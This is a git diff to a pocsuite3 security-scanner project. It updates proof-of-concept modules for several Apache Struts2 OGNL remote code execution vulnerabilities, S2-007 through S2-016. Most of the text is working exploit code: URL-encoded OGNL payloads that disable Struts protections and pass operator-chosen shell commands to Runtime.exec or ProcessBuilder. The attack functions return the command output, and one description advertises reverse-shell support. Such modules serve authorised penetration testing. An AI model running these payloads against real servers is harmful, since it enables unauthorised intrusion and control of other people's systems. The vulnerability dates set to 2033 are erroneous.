diff --git a/pocsuite3/pocs/Apache_Struts2/20111001_WEB_Apache_Struts2_009_RCE_CVE-2011-3923.py b/pocsuite3/pocs/Apache_Struts2/20111001_WEB_Apache_Struts2_009_RCE_CVE-2011-3923.py
index 19942e1d..6ac290fb 100755
--- a/pocsuite3/pocs/Apache_Struts2/20111001_WEB_Apache_Struts2_009_RCE_CVE-2011-3923.py
+++ b/pocsuite3/pocs/Apache_Struts2/20111001_WEB_Apache_Struts2_009_RCE_CVE-2011-3923.py
@@ -2,6 +2,7 @@
from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str
@@ -9,16 +10,16 @@
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['']
- vulDate = '2023-11-15'
+ author = ['knownsec.com']
+ vulDate = '2033-11-15'
createDate = '2023-11-15'
updateDate = '2023-11-15'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-009']
+ name = 'Apache Struts2 s2-009'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.0.0 - Struts 2.3.1.1'
+ vulType = VUL_TYPE.CODE_EXECUTION
desc = '''S2-009:影响版本Struts 2.0.0-2.3.1.1'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
@@ -29,39 +30,42 @@ def _options(self):
return o
def _verify(self):
+ p = self._check()
+ if p:
+ return self.parse_output(p)
+
+ def _check(self):
result = {}
hash_str = random_str(10)
exec_payload = "(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27{cmd}%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[({key})(%27meh%27)]"
- command = [
- "echo " + hash_str,
- "cmd.exe /c echo " + hash_str
- ]
- for cmd in command:
- key = "key"
- payload = exec_payload.format(cmd=quote(cmd), key=key)
- html = requests.get(self.url + "&{}={}".format(key, payload)).text
-
- if hash_str in html:
- result["VerifyInfo"] = {
- "URL": self.url,
- "PAYLOAD": payload
- }
+ command ="echo " + hash_str
+ key = "actionName"
+ payload = exec_payload.format(cmd=quote(command), key=key)
+ html = requests.get(self.url + "?{}={}".format(key, payload)).text
+ if hash_str in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "PAYLOAD": payload,
+ }
- return self.parse_output(result)
+ return result
+ return False
def _attack(self):
+ p = self._check()
result = {}
- exec_payload = "(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27{cmd}%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[({key})(%27meh%27)]"
- command = self.get_option("command")
- key = "key"
- payload = exec_payload.format(cmd=quote(command), key=key)
- html = requests.get(self.url + "&{}={}".format(key, payload)).text
+ if p:
+ exec_payload = "(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27{cmd}%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[({key})(%27meh%27)]"
+ command = self.get_option("command")
+ key = "actionName"
+ payload = exec_payload.format(cmd=quote(command), key=key)
+ html = requests.get(self.url + "?{}={}".format(key, payload)).text
- result["VerifyInfo"] = {
- "URL": self.url,
- "PAYLOAD": payload,
- "HTML": html
- }
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "PAYLOAD": payload,
+ "HTML": html.replace("\x00","").encode()
+ }
return self.parse_output(result)
@@ -72,6 +76,4 @@ def parse_output(self, result):
else:
output.fail('target is not vulnerable')
return output
-
-
register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_007_RCE.py b/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_007_RCE.py
index c5531fc8..adfc20bc 100755
--- a/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_007_RCE.py
+++ b/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_007_RCE.py
@@ -2,24 +2,25 @@
from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
-from pocsuite3.lib.utils import random_str
+from pocsuite3.lib.utils import random_str, get_middle_text
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['sunflower']
- vulDate = '2023-11-15'
+ author = ['knownsec.com']
+ vulDate = '2033-11-15'
createDate = '2023-11-15'
updateDate = '2023-11-15'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-007']
+ name = 'Apache Struts2 s2-007'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
- desc = '''S2-007:影响版本Struts 2.0.0-2.2.3;'''
+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.0.0 - Struts 2.2.3'
+ vulType = VUL_TYPE.CODE_EXECUTION
+ desc = '''S2-007:影响版本Struts 2.0.0 - Struts 2.2.3'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
@@ -29,6 +30,11 @@ def _options(self):
return o
def _verify(self):
+ p = self._check()
+ if p:
+ return self.parse_output(p)
+
+ def _check(self):
result = {}
hash_str = random_str(10)
exec_payload = "'%20%2B%20(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('{cmd}').getInputStream()))%20%2B%20'"
@@ -40,7 +46,7 @@ def _verify(self):
"cmd.exe /c echo " + hash_str
]
for cmd in command:
- data = "username=test&password={exp}"
+ data = "age={exp}"
data = data.format(exp=exec_payload.format(cmd=quote(cmd)))
html = requests.post(self.url, data=data, headers=headers).text
@@ -50,26 +56,28 @@ def _verify(self):
"PAYLOAD": data
}
- return self.parse_output(result)
+ return result
+ return False
def _attack(self):
+ p = self._check()
result = {}
- exec_payload = "'%20%2B%20(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('{cmd}').getInputStream()))%20%2B%20'"
- headers = {}
- headers['Content-Type'] = 'application/x-www-form-urlencoded'
- headers["Connection"] = "close"
- command = self.get_option("command")
-
- data = "username=test&password={exp}"
- data = data.format(exp=exec_payload.format(cmd=quote(command)))
- html = requests.post(self.url, data=data, headers=headers).text
-
- result["VerifyInfo"] = {
- "URL": self.url,
- "PAYLOAD": data,
- "HTML": html
- }
+ if p :
+ exec_payload = "'%20%2B%20(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('{cmd}').getInputStream()))%20%2B%20'"
+ headers = {}
+ headers['Content-Type'] = 'application/x-www-form-urlencoded'
+ headers["Connection"] = "close"
+ command = self.get_option("command")
+ data = "age={exp}"
+ data = data.format(exp=exec_payload.format(cmd=quote(command)))
+ html = requests.post(self.url, data=data, headers=headers).text
+ exec_res = get_middle_text(html,"\"age\" value=\"","\n")
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "PAYLOAD": data,
+ "result":exec_res
+ }
return self.parse_output(result)
def parse_output(self, result):
diff --git a/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_008_RCE_CVE-2012-0394.py b/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_008_RCE_CVE-2012-0394.py
index b42928de..5bddc87b 100755
--- a/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_008_RCE_CVE-2012-0394.py
+++ b/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_008_RCE_CVE-2012-0394.py
@@ -2,6 +2,7 @@
from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str
@@ -9,16 +10,16 @@
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['']
- vulDate = '2023-11-15'
+ author = ['knownsec.com']
+ vulDate = '2033-11-15'
createDate = '2023-11-15'
updateDate = '2023-11-15'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-008']
+ name = 'Apache Struts2 s2-008'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.0.0 - Struts 2.3.17'
+ vulType = VUL_TYPE.CODE_EXECUTION
desc = '''[+] S2-008:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持任意命令执行和反弹shell'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
@@ -29,6 +30,11 @@ def _options(self):
return o
def _verify(self):
+ p = self._check()
+ if p:
+ return self.parse_output(p)
+
+ def _check(self):
result = {}
hash_str = random_str(10)
exec_payload = "/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27{cmd}%27%29.getInputStream%28%29%29)"
@@ -45,20 +51,23 @@ def _verify(self):
"URL": self.url,
"PAYLOAD": payload
}
- return self.parse_output(result)
+ return result
+ return False
def _attack(self):
result = {}
- command = self.get_option("command")
- exec_payload = "/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27{cmd}%27%29.getInputStream%28%29%29)"
- payload = exec_payload.format(cmd=quote(command))
- html = requests.get(self.url + payload).text
+ p = self._check()
+ if p:
+ command = self.get_option("command")
+ exec_payload = "/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27{cmd}%27%29.getInputStream%28%29%29)"
+ payload = exec_payload.format(cmd=quote(command))
+ html = requests.get(self.url + payload).text
- result["VerifyInfo"] = {
- "URL": self.url,
- "PAYLOAD": payload,
- "HTML": html
- }
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "PAYLOAD": payload,
+ "HTML": html
+ }
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_012_RCE_CVE-2013-1965.py b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_012_RCE_CVE-2013-1965.py
index 5504e5bd..a225fc16 100755
--- a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_012_RCE_CVE-2013-1965.py
+++ b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_012_RCE_CVE-2013-1965.py
@@ -2,6 +2,7 @@
from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str
@@ -9,57 +10,63 @@
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['']
- vulDate = '2023-11-15'
+ author = ['knownsec.com']
+ vulDate = '2033-11-15'
createDate = '2023-11-15'
updateDate = '2023-11-15'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-012']
+ name = 'Apache Struts2 s2-012'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
- desc = '''S2-012:影响版本Struts Showcase App 2.0.0-2.3.13'''
+ appName = 'Apache Struts2'
+ appVersion = 'Struts Showcase App 2.0.0 - Struts Showcase App 2.3.14.2 '
+ vulType = VUL_TYPE.CODE_EXECUTION
+ desc = '''S2-012:影响版本Struts Showcase App 2.0.0 - Struts Showcase App 2.3.14.2'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
def _options(self):
o = OrderedDict()
- o["command"] = OptString('', description="可执行的shell命令")
+ o["command"] = OptString('ls', description="可执行的shell命令")
return o
def _verify(self):
+ p = self._check()
+ if p:
+ return self.parse_output(p)
+
+ def _check(self):
result = {}
- hash_str = random_str(10)
- command = [
- "echo " + hash_str,
- "cmd.exe /c echo " + hash_str
- ]
- for cmd in command:
- html = self.exp(cmd)
+ command = "id"
+ html = self.exp(command)
- if hash_str in html:
- result["VerifyInfo"] = {
- "URL": self.url,
- }
+ if "groups=" in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ }
+ return result
- return self.parse_output(result)
+ return False
def exp(self, command):
- exec_payload = "%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B{cmd}%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D"
+ exec_payload = "%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'{cmd}'%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D"
payload = exec_payload.format(cmd=quote(command))
- html = requests.get(self.url + payload).text
+ headers = {}
+ headers['Content-Type'] = "application/x-www-form-urlencoded"
+ data = f"name={payload}"
+ html = requests.post(self.url, data=data, headers=headers).text
return html
def _attack(self):
result = {}
- command = self.get_option("command")
- html = self.exp(command)
+ p = self._check()
+ if p:
+ command = self.get_option("command")
+ html = self.exp(command)
- result["VerifyInfo"] = {
- "URL": self.url,
- "HTML": html
- }
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "HTML": html.replace("\x00","").encode()
+ }
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_013_RCE_CVE-2013-1966.py b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_013_RCE_CVE-2013-1966.py
index 75f9a709..cc7d09c9 100755
--- a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_013_RCE_CVE-2013-1966.py
+++ b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_013_RCE_CVE-2013-1966.py
@@ -2,6 +2,7 @@
from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str
@@ -9,26 +10,30 @@
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['']
- vulDate = '2023-11-15'
+ author = ['knownsec.com']
+ vulDate = '2033-11-15'
createDate = '2023-11-15'
updateDate = '2023-11-15'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-013']
+ name = 'Apache Struts2 s2-013'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.0.0 - Struts 2.3.14.1'
+ vulType = VUL_TYPE.CODE_EXECUTION
desc = '''S2-013/S2-014:影响版本Struts 2.0.0-2.3.14.1'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
def _options(self):
o = OrderedDict()
- o["command"] = OptString('', description="可执行的shell命令")
+ o["command"] = OptString('ls', description="可执行的shell命令")
return o
def _verify(self):
+ p = self._check()
+ if p:
+ return self.parse_output(p)
+ def _check(self):
result = {}
hash_str = random_str(10)
command = [
@@ -43,7 +48,8 @@ def _verify(self):
"URL": self.url,
}
- return self.parse_output(result)
+ return result
+ return False
def exp(self, command):
exec_payload = "%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('{cmd}').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D"
@@ -53,13 +59,14 @@ def exp(self, command):
def _attack(self):
result = {}
- command = self.get_option("command")
- html = self.exp(command)
-
- result["VerifyInfo"] = {
- "URL": self.url,
- "HTML": html
- }
+ p = self._check()
+ if p:
+ command = self.get_option("command")
+ html = self.exp(command)
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "HTML": html.replace("\x00","").encode()
+ }
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_015_RCE_CVE-2013-2134.py b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_015_RCE_CVE-2013-2134.py
index c9e21d9d..fe57f0c8 100755
--- a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_015_RCE_CVE-2013-2134.py
+++ b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_015_RCE_CVE-2013-2134.py
@@ -2,6 +2,7 @@
from urllib.parse import quote, unquote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, get_middle_text
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str
@@ -9,16 +10,16 @@
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['']
- vulDate = '2023-11-15'
+ author = ['knownsec.com']
+ vulDate = '2033-11-15'
createDate = '2023-11-15'
updateDate = '2023-11-15'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-015']
+ name = 'Apache Struts2 s2-015'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.0.0 - Struts 2.3.14.2'
+ vulType = VUL_TYPE.CODE_EXECUTION
desc = '''S2-015:影响版本Struts 2.0.0-2.3.14.2;'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
@@ -27,8 +28,12 @@ def _options(self):
o = OrderedDict()
o["command"] = OptString('ls', description="可执行的shell命令")
return o
-
def _verify(self):
+ p = self._check()
+ if p:
+ return self.parse_output(p)
+
+ def _check(self):
result = {}
hash_str = random_str(10)
command = [
@@ -43,25 +48,27 @@ def _verify(self):
"URL": self.url,
}
- return self.parse_output(result)
+ return result
+ return False
def exp(self, command):
exec_payload = "%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('{cmd}').getInputStream())%2C%23q%7D"
payload = exec_payload.format(cmd=quote(command))
- html = requests.get(self.url + "{payload}.action".format(payload=payload)).text
+ html = requests.get(self.url + "/{payload}.action".format(payload=payload)).text
return html
def _attack(self):
result = {}
- command = self.get_option("command")
- html = self.exp(command)
- text = get_middle_text(html, "Status ReportMessage", "
")
- print(text)
- if text:
- result["VerifyInfo"] = {
- "URL": self.url,
- "HTML": unquote(text)
- }
+ p =self._check()
+ if p:
+ command = self.get_option("command")
+ html = self.exp(command)
+ text = get_middle_text(html, "HTTP Status 404 - ", ".jsp")
+ if text:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "HTML": unquote(text).replace("\x00","").encode()
+ }
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_016_RCE_CVE-2013-2251.py b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_016_RCE_CVE-2013-2251.py
index 06f11620..040dbbf9 100755
--- a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_016_RCE_CVE-2013-2251.py
+++ b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_016_RCE_CVE-2013-2251.py
@@ -3,6 +3,7 @@
from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str
@@ -10,17 +11,17 @@
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['']
- vulDate = '2023-11-15'
+ author = ['knownsec.com']
+ vulDate = '2033-11-15'
createDate = '2023-11-15'
updateDate = '2023-11-15'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-016']
+ name = 'Apache Struts2 s2-016'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
- desc = '''S2-015:影响版本Struts 2.0.0-2.3.14.2;'''
+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.0.0 - Struts 2.3.15'
+ vulType = VUL_TYPE.CODE_EXECUTION
+ desc = '''S2-015:影响版本Struts 2.0.0 - Struts 2.3.15;'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
@@ -28,8 +29,11 @@ def _options(self):
o = OrderedDict()
o["command"] = OptString('', description="可执行的shell命令")
return o
-
def _verify(self):
+ p = self._check()
+ if p:
+ return self.parse_output(p)
+ def _check(self):
result = {}
num1 = random.randint(10000, 100000)
num2 = random.randint(10000, 100000)
@@ -42,50 +46,50 @@ def _verify(self):
"URL": self.url,
"PAYLOAD": poc
}
-
- return self.parse_output(result)
+ return result
+ return False
def _attack(self):
result = {}
- command = self.get_option("command")
+ p = self._check()
+ if p:
+ command = self.get_option("command")
- falg = random_str(10).lower()
- temp = "echo " + falg + ";"
- exec_payload1 = "redirect%3A%24%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%20%7B{cmd}%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader%20(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23matt%3D%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23matt.getWriter().println%20(%23e)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D"
- exec_payload2 = "redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22{cmd}%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D"
- exec_payload3 = r"redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27CMD%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27ENCODING%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}"
+ falg = random_str(10).lower()
+ temp = "echo " + falg + ";"
+ exec_payload1 = "redirect%3A%24%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%20%7B{cmd}%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader%20(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23matt%3D%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23matt.getWriter().println%20(%23e)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D"
+ exec_payload2 = "redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22{cmd}%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D"
+ exec_payload3 = r"redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27CMD%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27ENCODING%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}"
- payload1 = exec_payload1.format(cmd=quote(temp))
- html = requests.get(self.url + "?" + payload1).text.lower()
- if falg in html.lower():
- payload1 = exec_payload1.format(cmd=quote(command))
- html = requests.get(self.url + "?" + payload1).text
- result["VerifyInfo"] = {
- "URL": self.url,
- "HTML": html
- }
- return result
+ payload1 = exec_payload1.format(cmd=quote(temp))
+ html = requests.get(self.url + "?" + payload1).text.lower()
+ if falg in html.lower():
+ payload1 = exec_payload1.format(cmd=quote(command))
+ html = requests.get(self.url + "?" + payload1).text
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "HTML": html.replace("\x00","").encode()
+ }
+
+ payload2 = exec_payload2.format(cmd=quote(temp))
+ html = requests.get(self.url + "?" + payload2).text.lower()
+ if falg in html:
+ payload2 = exec_payload2.format(cmd=quote(command))
+ html = requests.get(self.url + "?" + payload2).text
+ result["VerifyInfo"] = {
